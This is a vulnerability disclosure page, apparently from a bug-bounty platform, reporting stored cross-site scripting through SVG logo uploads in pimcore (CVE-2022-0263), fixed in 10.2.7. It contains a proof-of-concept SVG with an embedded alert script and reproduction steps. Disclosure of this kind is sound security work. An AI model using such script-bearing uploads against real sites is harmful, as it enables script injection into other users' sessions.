Unrestricted Upload of File with Dangerous Type in pimcore/pimcore

0

Valid Reported on Jan 17th 2022

Description

The pimcore/pimcore package is an open source platform that provides PIM, MDM, CDP, DAM, DXP/CMS and digital commerce services. You can upload an infinite number of dangerous SVG files in "Settings" => "System Settings" => "Appearance and Branding" of the pimcore service. Then why is it dangerous? This is because when reading the upload file, it is read as raw data.

Proof of Concept

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;s
   <script>alert(document.domain)</script>
</svg>
```

```
1. Open the https://10.x-dev.pimcore.fun/admin/login?perspective=
2. After login, Go to "Settings" => "System Setting" => "Appearance & Branc
3. Upload a SVG fille using the Custom Logo Logic
4. Open the url of svg file

Video : https://www.youtube.com/watch?v=BwuR0aHCMFY
```

Chat with us

Impact

Through this vulnerability, an attacker is capable to execute malicious scripts.

Occurrences

Dao.php L2

I am sorry. I couldn't find a code..

CVE
CVE-2022-0263
(Published)

Vulnerability Type
CWE-434: Unrestricted Upload of File with Dangerous Type

Severity
Medium (6.6)

Visibility
Public

Status
Fixed

Found by

Pocas
@p0cas
amateur

Fixed by

Bernhard Rusch
@brusch
maintainer

This report was seen 424 times.

Chat with us

We are processing your report and will contact the **pimcore** team within 24 hours. 10 months ago

Pocas modified the report 10 months ago

Bernhard Rusch validated this vulnerability 10 months ago

Pocas has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bernhard Rusch 10 months ago Maintainer

A very uncertain case ... as this functionality is anyway just set by an administrator and you have to call the image URL explicitly.

Anyway, I've provided a fix.

Pocas 10 months ago Researcher

I agree on that part. thank you.

Bernhard Rusch marked this as fixed in 10.2.7 with commit 35d185 10 months ago

Bernhard Rusch has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Dao.php#L2 has been validated ✔

Sign in to join this conversation